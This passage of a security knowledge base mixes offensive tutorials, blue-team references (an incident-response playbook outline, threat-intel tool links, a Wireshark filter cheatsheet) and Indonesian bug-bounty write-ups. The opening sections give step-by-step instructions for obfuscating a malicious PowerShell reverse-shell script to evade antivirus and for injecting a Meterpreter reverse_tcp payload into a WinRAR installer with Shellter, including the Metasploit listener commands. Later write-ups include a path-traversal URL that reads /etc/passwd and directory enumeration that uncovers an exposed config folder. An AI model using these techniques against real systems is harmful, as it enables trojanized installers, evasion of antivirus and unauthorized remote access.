2. After you have created and saved your malicious PowerShell script, we will need to specify the script path with Invoke-Obfuscate, this can be done by running the following command in the Invoke-Obfuscate prompt:

   ```
    SET SCRIPTPATH /PATH-TO-SCRIPT/script.ps1
   ```
3. After specifying the script path, you will be prompted with the obfuscation methods menu as shown in the following screenshot.

   &#x20;

   <figure><img src="/files/GIpQda9qNkBQsJhECRea" alt=""><figcaption></figcaption></figure>
4. In this case, we will be utilizing the AST obfuscation method, this option can be selected by running the following command in the Invoke-Obfuscate prompt:

   ```
    AST
   ```
5. You will now be prompted with the AST obfuscation options, in this case, we will be using the “ALL” option. This option can be selected by running the following command in the Invoke-Obfuscate prompt:

   ```
    ALL
   ```

   <figure><img src="/files/TNonsnhYPwdL3DYMt2gO" alt=""><figcaption></figcaption></figure>
6. You will now be prompted to confirm your obfuscation method, this can be done by running the following command:

   ```
    1
   ```

   <figure><img src="/files/DCN9xM22gbxPAVYsvwnk" alt=""><figcaption></figcaption></figure>
7. Invoke-Obfuscation will now obfuscate the script and output the obfuscated PowerShell code as shown in the following screenshot.<br>

   <figure><img src="/files/dWSA4hzJh2kFbBQ8maTw" alt=""><figcaption></figcaption></figure>
8. You can now copy the obfuscated PowerShell script and save it in a new file, after which, you can transfer it over to the target Windows system and execute it.\
   ![](/files/4PyKTWq3ljaGrSXeZ5y7)
9. Executing the script does not raise any AV detection/flags and we are able to receive a reverse shell connection on our netcat listener as shown in the following screenshot.

   We have been able to successfully obfuscate our malicious PowerShell script and evade any AV detection, alternatively you can also use Invoke-Obfuscate to obfuscate or encode individual PowerShell commands.\
   ![](/files/3yRxrtrn98bGPqzSCJsJ)

### Defense Evasion With Shellter <a href="#defense-evasion-with-shellter" id="defense-evasion-with-shellter"></a>

Shellter is a dynamic shellcode injection tool aka dynamic PE infector. It can be used in order to inject shellcode into native Windows applications (currently 32-bit apps only). The shellcode can be generated via custom code or through a framework, such as Metasploit.

Shellter takes advantage of the original structure of the PE file and doesn’t apply any modification such as changing memory access permissions in sections (unless the user wants to), adding an extra section with RWE access, and whatever would look dodgy under an AV scan. We will be using Shellter to Inject our meterpreter reverse shell payload into a portable executable.

#### Installing Shellter On Kali Linux <a href="#installing-shellter-on-kali-linux" id="installing-shellter-on-kali-linux"></a>

Shellter can be installed on Kali Linux by following the procedures outlined below:

1. The first step will involve installing the dependencies required to run Shellter, they can be installed by running the following commands:

   ```
    dpkg --add-architecture i386
    sudo apt-get update && apt install wine32
   ```
2. After you have installed the dependencies, you can install Shellter by running the following command:

   ```
    sudo apt-get install shellter -y
   ```
3. In order to launch Shellter, you will need to navigate to the following directory:

   ```
    cd /usr/share/windows-resources/shellter/
   ```
4. We can now launch Shellter by running it with Wine as it is a Windows PE. This can be done by running the following command:

   ```
    sudo wine shellter.exe
   ```
5. If Shellter executes successfully, you should be presented with a screen similar to the one shown in the screenshot below.\
   ![](/files/UKkq7B5RHnKZt2U9gAnY)

#### Injecting Payloads In To Portable Executables With Shellter <a href="#injecting-payloads-in-to-portable-executables-with-shellter" id="injecting-payloads-in-to-portable-executables-with-shellter"></a>

We can use Shellter to inject a meterpreter payload shellcode into a portable executable. Shellter does this by taking advantage of the original PE file structure and doesn’t apply any modifications such as: changing memory access permissions in sections (unless the user wants to), adding an extra section with RWE access, and anything that can appear dodgy under an AV scan.

1. The first step in this process will involve downloading the target executable, which will be the WinRAR installer executable as our portable executable. WinRAR can be downloaded from here: <https://www.win-rar.com/predownload.html?&L=0&Version=32bit>

   Note: Ensure that you download the 32bit version of WinRAR as Shellter cannot perform payload injection on 64bit portable executables
2. The next step will involve launching Shellter and selecting the operation mode, in this case, we will be using the Automatic mode. This can be done by specifying the “A” option as highlighted in the following screenshot.\
   ![](/files/v5FjGdAHbCgHSozFHHyO)
3. You will now be prompted to specify the path to the PE target, in this case, we will specify the path of the WinRAR executable we downloaded as shown in the screenshot below.\
   ![](/files/k5iOJKSwOELf4AotmaJw)
4. After specifying the target PE path, Shellter will begin the tracing process on the target PE, after which, you will be prompted to specify whether you want to enable stealth mode, in this case, we will be enabling stealth mode. This can be done by specifying the “Y” option as highlighted in the following screenshot.\
   ![](/files/FKoGFWBey7soYnVZtXlT)
5. You will now be prompted with the payload selection menu, in this case, we will be utilizing the listed payloads, this can be selected by specifying the “L” option as shown in the screenshot below.\
   ![](/files/xMBTZq2GGlJ25nt1iSdG)
6. You will now be prompted to specify the payload of choice by index, in this case we will be using the “Meterpreter\_Reverse\_TCP” stager method. This payload can be selected by selecting option “1” as highlighted in the following screenshot.\
   ![](/files/qHkR12TeF8ko4RO6NEHR)
7. You will now be prompted to specify the Meterpreter payload options, in this case you will need to set the LHOST and LPORT options as highlighted in the screenshot below.\
   ![](/files/3j8461WwAzO3ZebQoXCF)
8. After specifying the Meterpreter payload options, Shellter will begin the process of injecting the payload into the target PE. Afterwards, Shellter will confirm the injection process as shown in the following screenshot.\
   ![](/files/p3QnOmuAGVI96gB6xhe5)
9. We will now need to setup the listener with Metasploit to receive a reverse tcp connection when the target executable is executed. This can be done by running the following commands in the Metasploit-framework:

   ```
    msfconsole
    use multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST <IP>
    set LPORT <PORT>
    run
   ```
10. After setting up the Metasploit listener, you will now need to transfer the target PE we injected the payload into the target system. Once the target PE is executed, we should receive a meterpreter session on our listener as shown in the screenshot below.\
    \
    The execution of the target PE on the target system is not detected by the AV and as a result, we were able to obtain a meterpreter session on the target system.

    <figure><img src="/files/d6CryllJsqS2n5v1BIJR" alt=""><figcaption></figcaption></figure>


# Merancang SOC

Coming Soon

<figure><img src="/files/2RDefT7jc1WlAN23X5zT" alt=""><figcaption></figcaption></figure>


# IR Playbook

Source: NIST SP 800-61 and https\://gitlab.com/syntax-ir/playbooks

This repository contains all the Incident Response Playbooks and Workflows of Company's SOC.

Each folder contains a Playbook based on process on [NIST - 800.61 r2](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf)

{% embed url="<https://gitlab.com/syntax-ir/playbooks/-/tree/main/IRP-AccountCompromised?ref_type=heads>" %}
Account Compromise
{% endembed %}

{% embed url="<https://gitlab.com/syntax-ir/playbooks/-/tree/main/IRP-Critical?ref_type=heads>" %}
Crisis/Critical
{% endembed %}

{% embed url="<https://gitlab.com/syntax-ir/playbooks/-/tree/main/IRP-DataLoss?ref_type=heads>" %}
DataLoss
{% endembed %}

{% embed url="<https://gitlab.com/syntax-ir/playbooks/-/tree/main/IRP-Malware?ref_type=heads>" %}
Malware
{% endembed %}

{% embed url="<https://gitlab.com/syntax-ir/playbooks/-/tree/main/IRP-Phishing?ref_type=heads>" %}
Phising
{% endembed %}

{% embed url="<https://gitlab.com/syntax-ir/playbooks/-/tree/main/IRP-Ransom?ref_type=heads>" %}
Ransomware
{% endembed %}

### 1. Preparation <a href="#user-content-1-preparation" id="user-content-1-preparation"></a>

This section should include the following information's

* List of *ALL* Assets
  * Servers
  * Endpoints (+critical ones)
  * Networks
  * Applications
  * Employees
  * Security Products
* Baselines
* Communication Plan
* Which Security Events
* Thresholds
* How to access Security Tools
  * How to provision access
* Create Playbooks
* Plan Exercises
  * Table Top
  * Hands On

### 2. Detection and Analysis <a href="#user-content-2-detection-and-analysis" id="user-content-2-detection-and-analysis"></a>

This section should include the following information's

* Gathering of Information
* Analyzing the Data
* Building Detections
* Root Cause Analysis
* Depth and Breath of the Attack
  * Admin Rights
  * Affected Systems
* Techniques Used
* Indicators of Compromise / Indicators of Attack
  * Tactics Techniques and Procedure's (TTP)
  * IP Address
  * Email Address
  * File Hash
  * Command Line
  * etc.

### 3. Containment, Eradication, and Recovery <a href="#user-content-3-containment-eradication-and-recovery" id="user-content-3-containment-eradication-and-recovery"></a>

This section should include the following information's

* Isolate Affected Systems
* Patch Threat Entry Point
* Predefine threshold
  * For Customers
  * For internal systems
  * For escalations
* Preauthorized actions
  * Per customers
  * Per environment
    * Prod
    * QA
    * Internet Facing
* How to Remove the Threat on All Affected Systems
* Get Systems Operational
* Rebuilt and Resume Service

### 4. Post-Incident Activity <a href="#user-content-4-post-incident-activity" id="user-content-4-post-incident-activity"></a>

* Lessons Learn
* New Detection
* New Hardening
* New Patch Management
* etc.


# Blue Team Opensource Online Tools

Source: https\://gitlab.com/syntax-ir/playbooks

## Free Tools

In this section you will find link to free tools sometimes with a short description of what the tool does and how to use it.

## Domain and IP Threat Intel <a href="#user-content-domain-and-ip-threat-intel" id="user-content-domain-and-ip-threat-intel"></a>

### Talos Intelligence <a href="#user-content-talos-intelligence" id="user-content-talos-intelligence"></a>

<https://talosintelligence.com/>

Search by IP, domain, or network owner for real-time threat data.

### URLVoid <a href="#user-content-urlvoid" id="user-content-urlvoid"></a>

<https://www.urlvoid.com/>

Website Reputation Checker\
This service helps you detect potentially malicious websites.\
Check the online reputation/safety of a website.

### IPVoid <a href="#user-content-ipvoid" id="user-content-ipvoid"></a>

<https://www.urlvoid.com/>

### ThreatCrowd <a href="#user-content-threatcrowd" id="user-content-threatcrowd"></a>

<https://www.threatcrowd.org/>

Search by Domain, IP, Email or Organization ThreatCrowd is now powered by AlienVault®

### Domain Dossier <a href="#user-content-domain-dossier" id="user-content-domain-dossier"></a>

<https://centralops.net/co/DomainDossier.aspx>

The Domain Dossier tool generates reports from public records about domain names and IP addresses to help solve problems, investigate cybercrime, or just better understand how things are set up. These reports may show you:

* Owner’s contact information
* Registrar and registry information
* The company that is hosting a Web site
* Where an IP address is geographically located
* What type of server is at the address
* The upstream networks of a site
* and much more

## PCAP Analyzer <a href="#user-content-domain-and-ip-threat-intel" id="user-content-domain-and-ip-threat-intel"></a>

### APackets <a href="#user-content-virus-total" id="user-content-virus-total"></a>

<https://apackets.com/>

Analyze PCAP files to gain insights into HTTP headers, request and response data. Effortlessly extract transferred files, office documents, and images. Find passwords for various protocols.

### Dynamite Lab <a href="#user-content-virus-total" id="user-content-virus-total"></a>

<https://lab.dynamite.ai/pcaps>

Analyze PCAP files to gain insights into HTTP headers, request and response data. Effortlessly extract transferred files, office documents, and images. Find passwords for various protocols.

## Files & Hash Threat Intel and Sandbox <a href="#user-content-files-hash-threat-intel-and-sandbox" id="user-content-files-hash-threat-intel-and-sandbox"></a>

### Virus Total <a href="#user-content-virus-total" id="user-content-virus-total"></a>

<https://www.virustotal.com/gui/>

Analyze suspicious files and URLs to detect types of malware, automatically share them with the security community

### URL Scan <a href="#user-content-url-scan" id="user-content-url-scan"></a>

<https://urlscan.io/>

A sandbox for the web\
This site will give you an image of the the site. Very useful to investigate phishing without visiting the site from your machine.

### Hybrid Analysis <a href="#user-content-hybrid-analysis" id="user-content-hybrid-analysis"></a>

<https://www.hybrid-analysis.com/>

A free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology.\
Powered by CrowdStrike Falcon® Sandbox.

### Any.run <a href="#user-content-anyrun" id="user-content-anyrun"></a>

<https://app.any.run/>

**Note:** You need to create an account.\
Innovative cloud-based sandbox with full interactive access

### Malwr <a href="#user-content-malwr" id="user-content-malwr"></a>

<https://malwr.com/>

An online version of Cuckoo Sandbox (currently of line)

### Joe Sandbox <a href="#user-content-joe-sandbox" id="user-content-joe-sandbox"></a>

<https://www.joesandbox.com/>

Joe Sandbox detects and analyzes potential malicious files and URLs on Windows, Android, Mac OS, Linux, and iOS for suspicious activities. It performs deep malware analysis and generates comprehensive and detailed analysis reports. This website gives you access to the Community Edition of Joe Sandbox Cloud. It allows you to run a maximum of 15 analyses / month, 5 analyses / day on Windows, Linux and Android with limited analysis output.

### Analyzing Malicious Documents Cheat Sheet <a href="#user-content-analyzing-malicious-documents-cheat-sheet" id="user-content-analyzing-malicious-documents-cheat-sheet"></a>

<https://zeltser.com/analyzing-malicious-documents/>

This cheat sheet outlines tips and tools for analyzing malicious documents, such as Microsoft Office, RTF and Adobe Acrobat (PDF) files. To print it, use the one-page PDF version; you can also edit the Word version to customize it for you own needs.

### Malwoverview <a href="#user-content-malwoverview" id="user-content-malwoverview"></a>

<https://github.com/alexandreborges/malwoverview> Malwoverview\.py is a simple tool to perform an initial and quick triage of malware samples, URLs and hashes. Additionally, Malwoverview is able to show some threat intelligence information.

## Encode / Decode <a href="#user-content-encode-decode" id="user-content-encode-decode"></a>

### Cyberchef <a href="#user-content-cyberchef" id="user-content-cyberchef"></a>

<https://gchq.github.io/CyberChef/>\
<https://github.com/gchq/CyberChef>

The Cyber Swiss Army Knife

CyberChef is a simple, intuitive web app for carrying out all manner of "cyber" operations within a web browser. These operations include simple encoding like XOR or Base64, more complex encryption like AES, DES and Blowfish, creating binary and hexdumps, compression and decompression of data, calculating hashes and checksums, IPv6 and X.509 parsing, changing character encodings, and much more.

The tool is designed to enable both technical and non-technical analysts to manipulate data in complex ways without having to deal with complex tools or algorithms. It was conceived, designed, built and incrementally improved by an analyst in their 10% innovation time over several years.

### Uncoder <a href="#user-content-uncoder" id="user-content-uncoder"></a>

<https://uncoder.io/>

Uncoder.IO is the online translator for SIEM saved searches, filters, queries, API requests, correlation and Sigma rules to help SOC Analysts, Threat Hunters and SIEM Engineers. Serving as one common language for cyber security it allows blue teams to break the limits of being dependent on single tool for hunting and detecting threats and avoid technology lock-in. With easy, fast and private UI you can translate the queries from one tool to another without a need to access to SIEM environment and in a matter of just few seconds.

### One Click Forensics Lab <a href="#user-content-one-click-forensics-lab" id="user-content-one-click-forensics-lab"></a>

<https://0xbanana.com/blog/one-click-forensics-lab-in-the-cloud/>

Deploy a DFIR forensics lab with one script on Google Cloud Platform!


# Wireshark Query Cheatsheet

Source=https\://www\.stationx.net/

<figure><img src="/files/0iSHuJwHJK1pYjvDYUml" alt=""><figcaption></figcaption></figure>

### Main Toolbar Items

| **TOOLBAR ICON**                                                                                                                                                          | **TOOLBAR ITEM**                | **MENU ITEM**                      | **DESCRIPTION**                                                                                         |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------- | ---------------------------------- | ------------------------------------------------------------------------------------------------------- |
| <img src="https://cdn.shortpixel.ai/spai/w_114+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/Start-1.png" alt="" data-size="original">           | **Start**                       | Capture → Start                    | Uses the same packet capturing options as the previous session, or uses defaults if no options were set |
| <img src="https://cdn.shortpixel.ai/spai/w_122+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/Stop.png" alt="" data-size="original">              | **Stop**                        | Capture → Stop                     | Stops currently active capture                                                                          |
| <img src="https://cdn.shortpixel.ai/spai/w_119+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/Restart.png" alt="" data-size="original">           | **Restart**                     | Capture → Restart                  | Restart active capture session                                                                          |
| <img src="https://cdn.shortpixel.ai/spai/w_102+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/options.png" alt="" data-size="original">           | **Options...**                  | Capture → Options…                 | Opens "Capture Options" dialog box                                                                      |
| <img src="https://cdn.shortpixel.ai/spai/w_114+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/open.png" alt="" data-size="original">              | **Open...**                     | File →open…                        | Opens "File open" dialog box to load a capture for viewing                                              |
| <img src="https://cdn.shortpixel.ai/spai/w_114+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/save-as.png" alt="" data-size="original">           | **Save As...**                  | File → Save As…                    | Save current capture file                                                                               |
| <img src="https://cdn.shortpixel.ai/spai/w_104+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/close.png" alt="" data-size="original">             | **Close**                       | File →Close                        | Close current capture file                                                                              |
| <img src="https://cdn.shortpixel.ai/spai/w_108+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/reload.png" alt="" data-size="original">            | **Reload**                      | View → Reload                      | Reload current capture file                                                                             |
| <img src="https://cdn.shortpixel.ai/spai/w_93+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/find-packet.png" alt="" data-size="original">        | **Find Packet...**              | Edit →Find Packet…                 | Find packet based on different criteria                                                                 |
| <img src="https://cdn.shortpixel.ai/spai/w_98+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/go-back.png" alt="" data-size="original">            | **Go Back**                     | Go → Go back                       | Jump back in the packet history                                                                         |
| <img src="https://cdn.shortpixel.ai/spai/w_108+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/go-forwards.png" alt="" data-size="original">       | **Go Forward**                  | Go → Go Forward                    | Jump forward in the packet history                                                                      |
| <img src="https://cdn.shortpixel.ai/spai/w_113+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/go-to-packet.png" alt="" data-size="original">      | **Go to Packet...**             | Go → Go to Packet…                 | Go to specific packet                                                                                   |
| <img src="https://cdn.shortpixel.ai/spai/w_98+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/go-to-first-packet.png" alt="" data-size="original"> | **Go to First Packet**          | Go → Go to First Packet            | Jump to first packet of the capture file                                                                |
| <img src="https://cdn.shortpixel.ai/spai/w_102+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/go-to-last-packet.png" alt="" data-size="original"> | **Go to last Packet**           | Go → Go to last Packet             | Jump to last packet of the capture file                                                                 |
| <img src="https://cdn.shortpixel.ai/spai/w_126+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/Auto-scroll.png" alt="" data-size="original">       | **Auto Scroll in Live Capture** | View → Auto Scroll in Live Capture | Auto scroll packet list during live capture                                                             |
| <img src="https://cdn.shortpixel.ai/spai/w_131+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/colorize.png" alt="" data-size="original">          | **Colorize**                    | View → Colorize                    | Colorize the packet list (or not)                                                                       |
| <img src="https://cdn.shortpixel.ai/spai/w_108+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/zoom-in.png" alt="" data-size="original">           | **Zoom In**                     | View → Zoom In                     | Zoom into the packet data (increase the font size)                                                      |
| <img src="https://cdn.shortpixel.ai/spai/w_105+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/zoom-out.png" alt="" data-size="original">          | **Zoom Out**                    | View → Zoom Out                    | Zoom out of the packet data (decrease the font size)                                                    |
| <img src="https://cdn.shortpixel.ai/spai/w_104+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/normal-size.png" alt="" data-size="original">       | **Normal Size**                 | View → Normal Size                 | Set zoom level back to 100%                                                                             |
| <img src="https://cdn.shortpixel.ai/spai/w_114+q_lossless+ret_img+to_webp/www.stationx.net/wp-content/uploads/2020/07/resize-column.png" alt="" data-size="original">     | **Resize Columns**              | View → Resize Columns              | Resize columns, so the content fits the width                                                           |

### Default Columns In a Packet Capture Output

| **NAME**              | **DESCRIPTION**                                               |
| --------------------- | ------------------------------------------------------------- |
| **No**.               | Frame number from the beginning of the packet capture         |
| **Time**              | Seconds from the first frame                                  |
| **Source (src)**      | Source address, commonly an IPv4, IPv6 or Ethernet address    |
| **Destination (dst)** | Destination address                                           |
| **Protocol**          | Protocol used in the Ethernet frame, IP packet, or TC segment |
| **Length**            | Length of the frame in bytes                                  |

### Logical Operators

| **OPERATOR**      | **DESCRIPTION**    | **EXAMPLE**                                                                  |
| ----------------- | ------------------ | ---------------------------------------------------------------------------- |
| **and or &&**     | Logical AND        | All the conditions should match                                              |
| **or or \|\|**    | Logical OR         | Either all or one of the conditions should match                             |
| **xor or ^^**     | Logical XOR        | Exclusive alterations - only one of the two conditions should match not both |
| **not or !**      | Not (Negation)     | Not equal to                                                                 |
| **\[ n ] \[ … ]** | Substring operator | Filter a specific word or text                                               |

### Filtering Packets (Display Filters)

| **OPERATOR** | **DESCRIPTION**       | **EXAMPLE**               |
| ------------ | --------------------- | ------------------------- |
| **eq or ==** | Equal                 | ip.dest  ==  192.168.1.1  |
| **ne or !=** | Not equal             | ip.dest  !=   192.168.1.1 |
| **gt or >**  | Greater than          | frame.len   >   10        |
| **it or <**  | less than             | frame.len  <   10         |
| **ge or >=** | Greater than or equal | frame.len  >=   10        |
| **le or <=** | Less than or equal    | frame.len  <=   10        |

### Filter Types

| **NAME**           | **DESCRIPTION**                     |
| ------------------ | ----------------------------------- |
| **Capture filter** | Filter packets during capture       |
| **Display filter** | Hide packets from a capture display |

### Wireshark Capturing Modes

| **NAME**             | **DESCRIPTION**                                                                         |
| -------------------- | --------------------------------------------------------------------------------------- |
| **Promiscuous mode** | Sets interface to capture all packets on a network segment to which it is associated to |
| **Monitor mode**     | Setup the wireless interface to capture all traffic it can receive (Unix/ Linux only)   |

### Miscellaneous

| **NAME**                | **DESCRIPTION**          |
| ----------------------- | ------------------------ |
| **Slice Operator**      | \[ … ] - Range of values |
| **Membership Operator** | {} - In                  |
| **CTRL+E**              | Start/Stop Capturing     |

### Capture Filter Syntax

| **SYNTAX** | **PROTOCOL** | **DIRECTION** | **HOSTS**   | **VALUE** | **LOGICAL OPERATOR** | **EXPRESSIONS**      |
| ---------- | ------------ | ------------- | ----------- | --------- | -------------------- | -------------------- |
| Example    | tcp          | src           | 192.168.1.1 | 80        | and                  | tcp dst 202.164.30.1 |

### Display Filter Syntax

| **SYNTAX** | **PROTOCOL** | **STRING 1** | **STRING 2** | **COMPARISON OPERATOR** | **VALUE**   | **LOGICAL OPERATOR** | **EXPRESSIONS** |
| ---------- | ------------ | ------------ | ------------ | ----------------------- | ----------- | -------------------- | --------------- |
| Example    | http         | dest         | ip           | ==                      | 192.168.1.1 | and                  | tcp port        |

### Keyboard Shortcuts - Main Display Window

| **ACCELERATOR**      | **DESCRIPTION**                                                                               | **ACCELERATOR**      | **DESCRIPTION**                                                              |
| -------------------- | --------------------------------------------------------------------------------------------- | -------------------- | ---------------------------------------------------------------------------- |
| **Tab or Shift+Tab** | Move between screen elements, e.g. from the toolbars to the packet list to the packet detail. | **Alt+→ or Option→** | Move to the next packet in the selection history.                            |
| **↓**                | Move to the next packet or detail item.                                                       | **→**                | In the packet detail, opens the selected tree item.                          |
| **↑**                | Move to the previous packet or detail item.                                                   | **Shift+→**          | In the packet detail, opens the selected tree items and all of its subtrees. |
| **Ctrl+ ↓ or F8**    | Move to the next packet, even if the packet list isn't focused.                               | **Ctrl+→**           | In the packet detail, opens all tree items.                                  |
| **Ctrl+ ↑ Or F7**    | Move to the previous packet, even if the packet list isn't focused                            | **Ctrl+←**           | In the packet detail, closes all the tree                                    |
| **Ctrl+.**           | Move to the next packet of the conversation (TCP, UDP or IP).                                 | **Backspace**        | In the packet detail, jumps to the parent node.                              |
| **Ctrl+,**           | Move to the previous packet of the conversation (TCP, UDP or IP).                             | **Return or Enter**  | In the packet detail, toggles the selected tree item.                        |

### Protocols - Values

ether,  fddi,  ip,  arp,  rarp,  decnet,  lat, sca,  moprc,  mopdl,  tcp  and  udp

### Common Filtering Commands

| **USAGE**                        | **FILTER SYNTAX**                                 |
| -------------------------------- | ------------------------------------------------- |
| **Wireshark Filter by IP**       | ip.add == 10.10.50.1                              |
| **Filter by Destination IP**     | ip.dest == 10.10.50.1                             |
| **Filter by Source IP**          | ip.src == 10.10.50.1                              |
| **Filter by IP range**           | ip.addr >= 10.10.50.1 and ip.addr <=10.10.50.100  |
| **Filter by Multiple Ips**       | ip.addr == 10.10.50.1 and ip.addr == 10.10.50.100 |
| **Filter out IP adress**         | ! (ip.addr == 10.10.50.1)                         |
| **Filter subnet**                | ip.addr == 10.10.50.1/24                          |
| **Filter by port**               | tcp.port == 25                                    |
| **Filter by destination port**   | tcp.dstport == 23                                 |
| **Filter by ip adress and port** | ip.addr == 10.10.50.1 and Tcp.port == 25          |
| **Filter by URL**                | http.host == "host name"                          |
| **Filter by time stamp**         | frame.time >= "June 02, 2019 18:04:00"            |
| **Filter SYN flag**              | Tcp.flags.syn == 1 and tcp.flags.ack ==0          |
| **Wireshark Beacon Filter**      | wlan.fc.type\_subtype = 0x08                      |
| **Wireshark broadcast filter**   | eth.dst == ff:ff:ff:ff:ff:ff                      |
| **Wireshark multicast filter**   | (eth.dst\[0] & 1)                                 |
| **Host name filter**             | ip.host = hostname                                |
| **MAC address filter**           | eth.addr == 00:70:f4:23:18:c4                     |
| **RST flag filter**              | tcp.flag.reset == 1                               |


# LFI (Directory Traversal) di redacted.co.id

## Sekilas Tentang LFI

LFI (*Local File Inclusion*) merupakan kerentanan yang memungkinkan penyerang untuk menyertakan *file* lokal yang tersimpan di server agar dapat menjadi bagian dari proses eksekusi aplikasi. Kerentanan LFI terjadi karena fungsi *include* pada aplikasi dapat dimanipulasi oleh pengguna melalui fungsi *input*.

LFI juga dapat terjadi pada fungsi aplikasi yang memproses *file* berdasarkan nama *file* yang diberikan oleh pengguna. Hal ini juga biasa disebut dengan kerentanan *file path traversal*. Input yang diberikan oleh pengguna bisa menggunakan *link* pada URL atau melalui fungsi input.&#x20;

Singkat kata, dengan kerentanan LFI ini, penyerang dapat menginstruksikan aplikasi web untuk membaca isi *file* yang berada diluar direktori home aplikasi tersebut. Misalnya menginstruksikan aplikasi web untuk membaca nama *user* di *webserver linux* pada *etc/passwd*  (misalnya). Selain membaca isi *file*, penyerang juga dapat menginstruksikan aplikasi web yang rentan untuk mengeksekusi kode pemprograman.

{% hint style="info" %}
Sumber deskripsi tentang LFI dikutip dan/atau disadur dari [artikel berikut](https://harryadinanta.com/exploitasi/2014/08/08/Local-File-Inclusion).
{% endhint %}

## Deskripsi Temuan

redacted.co.id ( nama situs yang disamarkan) merupakan salah satu E-commerce di Indonesia. Kerentanan LFI terjadi karena [*path traversal*](https://owasp.org/www-community/attacks/Path_Traversal) *,* yaitu meminta web untuk melakukan *redirect* ke luar direktori web dengan memanfaatkan *dot-dot-slash (../)* sebagai perintah untuk mundur satu tingkat ke direktori sebelumnya. Berikut ini merupakan pemanfaatan [*path traversal*](https://owasp.org/www-community/attacks/Path_Traversal) untuk LFI dengan target *file* /etc/passwd pada web redacted.co.id:

```
https://redacted.co.id/static/../../../a/../../../../etc/passwd
```

## &#x20;*Proof Of Concept*

POC kerentanan ini cukup mudah, yaitu dengan mengakses *link path traversal* pada deskripsi. Berikut merupakan POC kerentanan LFI di redacted.co.id:

1.Buka *link* berikut ini.

```
https://redacted.co.id/static/../../../a/../../../../etc/passwd
```

2.Web akan me-*redirect* ke URL berikut ini.

```
https://redacted.co.id/etc/passwd
```

3.Web akan menampilkan isi dari file pada /etc/passwd. Berikut merupakan *screenshot file* /etc/passwd pada *webserver* redacted.co.id .

![Gambar LFI pada redacted.co.id](/files/-MU-MpHqLe3rVcMq05em)

## Dampak Kerentanan LFI

Eksploitasi kerentanan LFI pada aplikasi web dapat memiliki dampak negatif yang tinggi. Bahkan, berdasarkan [OWASP](https://owasp.org/www-project-top-ten/) kerentanan LFI tercantum dalam daftar 10 teratas kerentanan aplikasi web. Penyerang dapat menginstruksikan aplikasi web untuk membaca isi *file* yang berada diluar direktori *home* aplikasi tersebut. Misalnya menginstruksikan aplikasi web untuk membaca nama *user* di *webserver* *linux* pada *etc/passwd*. Lebih lanjut, serangan dapat diekskalasikan menjadi *Remote Code Execution* untuk mengontrol *webserver* secara penuh.

## Remidiasi

Karena penyebab LFI pada kasus di redacted.co.id ini adalah *path traversal,* maka remidiasi yang dapat dilakukan berdasarkan [portswigger](https://portswigger.net/web-security/file-path-traversal) adalah sebagai berikut:

1. Melakukan validasi atau sanitasi terhadap *input* yang diberikan oleh *user*. Web harus dapat membedakan format/karakter *input* user berdasarkan tujuan dari *input* tersebut. Berdasarkan kasus ini, *dot-dot-slash (../)* dapat disanitasi oleh sistem untuk mencegah *path traversal.*
2. Melakukan pembatasan akses ke luar direktori aplikasi. Aplikasi web harus diatur agar tidak ada permintaan dari *user* untuk akses ke luar direktori web yang diijinkan.
3. Mengurangi *input* langsung yang memungkinkan *user* dapat memanipulasi parameter yang akan langsung di eksekusi oleh server.

## *Timeline*

* [x] 15 Januari 2021   : Laporan diterima oleh pihak *Redacted*&#x20;
* [x] 1 Februari 2021    : Kerentanan diperbaiki
* [x] 18 Februari 2021  : *Bounty* diterima


# Kredensial Database dan Azure Leaks pada redacted.com

Berdasarkan pengalaman saya, fase enumerasi direktori *website* merupakan fase yang sangat penting. Penggunaan *wordlist* dan *tools* yang tepat adalah *koentji*. Tulisan ini membahas bagaimana saya mendapat xxxUSD dengan hanya melakukan enumerasi direktori.

## Dirsearch

> ""Although there are now many other fuzzers like wfuzz, gobuster or ffuf, dirsearch is still showing its own unique in features and detections when doing web content brute-force. Instead of supporting parameters fuzzing like in ffuf or wfuzz, search keeps it as a traditional web path brute forcer, to much more focus on the specific purpose. " \
> \
> Quoting from the maurosoria/dirsearch repository

*Dirsearch-Web path discovery* , seperti namanya, tools ini berfungsi sebagai alat untuk melakukan enumerasi direktori pada website. Tujuannya adalah mencari informasi folder dan file yang bisa dimanfaatkan lebih lanjut untuk melakukan eksploitasi. Dirsearch sudah dilengkapi dengan *wordlist* bawaan yang selalu diupdate. Kelebihan *wordlist* ini adalah efisien (karena telah dipilah sehingga ukurannya kecil) dan efektif (karena di-*update* secara terus-menerus).<br>

{% hint style="info" %}
Berikut merupakan link kode sumber dirsearch : [link](https://github.com/maurosoria/dirsearch).
{% endhint %}

### Penggunaan dirsearch

```
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
pip3 install -r requirements.txt
python3 dirsearch.py -u <URL> -e <EXTENSIONS>
```

## Catching Config File

Dengan berbekal *Dirsearch* dengan *wordlist* bawaannya tak jarang saya mendapat temuan yang menarik. Salah satunya, pada *redacted.com* ini ternyata banyak celah *directory listing* yang satu diantaranya adalah *directory **config.***&#x20;

```
https://redacted.com/config
```

